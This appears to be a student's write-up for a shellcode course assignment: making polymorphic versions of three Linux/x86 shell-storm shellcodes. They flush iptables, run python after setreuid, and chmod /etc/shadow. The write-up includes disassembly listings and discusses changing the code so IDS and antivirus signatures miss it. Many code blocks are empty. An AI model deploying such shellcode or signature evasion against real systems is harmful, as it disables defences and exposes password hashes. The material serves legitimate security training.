SLAE: Assignment 6 of 7

Assignment #6:
- Take up 3 shellcodes from shell-storm and create polymorphic versions of them to beat pattern matching
- The polymorphic versions cannot be larger than 150% of the existing shellcode
- Bonus points for making the polymorphed code shorter in length than the original code

Polymorphed code is code that has been changed without affecting the intent of the original code.
For instance, take the following instruction:
MOV ECX, 00000000
It could be replaced by the following instruction which achieves the exact same result:

Similarly, the following instructions:
Can be replaced by:

There are a lot of ways to polymorph code so this will be a fun exercise. We'll be going for the bonus points, of course!

We navigate to and scroll down to the Linux/x86 section.

We've already created reverse and bind shells so I was after something different this time.
I came up with a selection of shellcodes that provide a good mix of functionality.

Note: Our polymorphed shellcode (filereader2.nasm):

Note: Our polymorphed shellcode has a length of 57 bytes:


Note: The original shellcode has a length of 76 bytes:

Note: Our shellcode is quite a bit different to the original shellcode. Also, our polymorphed shellcode is 19 bytes smaller. We could further reduce the size, but this would undo some of our polymorphing.

Note: Our next original shellcode:

sub esp,byte +0x4
pop esp
xor edx,edx
push edx
push word 0x462d
mov esi,esp
push edx
push dword 0x736e6961
push dword 0x68637069
mov edi,esp
push dword 0x2f6e6962
push dword 0x732f2f2f
mov ebx,esp
push edx
push esi
push edi
mov ecx,esp
xor eax,eax
mov al,0xb
int 0x80
db 0x0a

Note: Although the comments are in Spanish, we know that the program is supposed to run the following command:
execve("///sbin/ipchains",ARGV,NULL);* ARGV[] = {"ipchains","-F",NULL}. the program will need some fixing: ipchains has been replaced by iptables in later version of ubuntu and the sub esp,byte +0x4 -> pop esp causes esp to reset to 00000000 which is not desirable for this piece of code. We don't need it so we'll save some bytes, a win-win.

Note: The fixed shellcode (cleariptables.nasm):

Note: We compile the program and check whether it works:

Chain INPUT (policy ACCEPT)
target     prot opt source               destination
DROP       all  --
Note: Now we need to confirm that the entry is gone after executing ./cleariptables

Chain INPUT (policy ACCEPT)
target     prot opt source               destination

Note: Now that we confirmed our slightly modified code works, we can start polymorphing it.

Note: We confirm the code still works:

Note: We use some command-line-fu to get our shellcode bytes:

Note: Our polymorphed shellcode is 2 bytes shorter than the original shellcode:

Note: The original shellcode:

Now, although this might be good enough for this assignment, the shellcode is still somewhat similar mainly because of the instructions that push the literal strings on the stack. We will modify them so that the code becomes significantly different.

Note: We check that the shellcode still works:

Note: We use the command-line-fu to get our shellcode bytes:

Note: Our new polymorphed shellcode is now 12 bytes longer than the original shellcode, and 14 bytes longer than our other polymorphed version (still well within the 150% margin). Despite having the option of a 2 byte shorter polymorphed variant, I feel that this shellcode is substantially better as it completely changes even the literal strings pushed on the stack:

Note: The original shellcode:

Our next shellcode:

Note: We grab the original assembly code using the bytes in the sourcecode above:

00000000  31C0              xor eax,eax
00000002  B046              mov al,0x46
00000004  31DB              xor ebx,ebx
00000006  31C9              xor ecx,ecx
00000008  CD80              int 0x80
0000000A  EB16              jmp short 0x22
0000000C  5B                pop ebx
0000000D  31C0              xor eax,eax
0000000F  88430F            mov [ebx+0xf],al
00000012  895B10            mov [ebx+0x10],ebx
00000015  894314            mov [ebx+0x14],eax
00000018  B00B              mov al,0xb
0000001A  8D4B10            lea ecx,[ebx+0x10] 0000001D  8D5314            lea edx,[ebx+0x14] 00000020  CD80              int 0x80
00000022  E8E5FFFFFF        call dword 0xc
00000027  2F                das
00000028  7573              jnz 0x9d
0000002A  722F              jc 0x5b
0000002C  62696E            bound ebp,[ecx+0x6e] 0000002F  2F                das
00000030  7079              jo 0xab
00000032  7468              jz 0x9c
00000034  6F                outsd
00000035  6E                outsb
00000036  0A                db 0x0a

Note: Since the code is modifying memory directly, we'll need to run it via C with memory protection disabled


Note: we test the assembly code which works:

Shellcode Length:  54
Python 2.7.3 (default, Feb 27 2014, 20:00:17)
[GCC 4.6.3] on linux2
Type "help", "copyright", "credits" or "license" for more information.

Note: The code works and we polymorph our shellcode as follows:

Note: Our polymorphed shellcode is 10 bytes smaller and substantially different to the original shellcode:


Note: Original shellcode:

Still, the same problem with absolute filenames to executables affects this shellcode, so we modify it to remove the hard links which any intrusion detection system or antivirus could pick up.

Note: We use some magic to get our shellcode bytes as follows:


Note: Original shellcode:

Note: Success! Our polymorphed shellcode (including obfuscated strings) is 2 bytes shorter than the original shellcode

Note: Our next shellcode chmods the /etc/shadow file - exciting!

Note: We disassemble the shellcode as follows

00000000  EB12              jmp short 0x14
00000002  5B                pop ebx
00000003  31C0              xor eax,eax
00000005  31C9              xor ecx,ecx
00000007  31D2              xor edx,edx
00000009  B1B6              mov cl,0xb6
0000000B  B501              mov ch,0x1
0000000D  B00F              mov al,0xf
0000000F  89530B            mov [ebx+0xb],edx
00000012  CD80              int 0x80
00000014  E8E9FFFFFF        call dword 0x2
00000019  2F                das
0000001A  657463            gs jz 0x80
0000001D  2F                das
0000001E  7368              jnc 0x88
00000020  61                popad
00000021  646F              fs outsd
00000023  770A              ja 0x2f

Note: The original assembly code:

Note: Our polymorphed version:

Note: We use some near-forgotten Ninja skills to extract the bytes:


Note: Original shellcode:

Note: We were able to add a proper exit routine (the original shellcode crashed after executing), polymorph the code, make it run from stack, and decrease the shellcode size by 2 bytes - nice!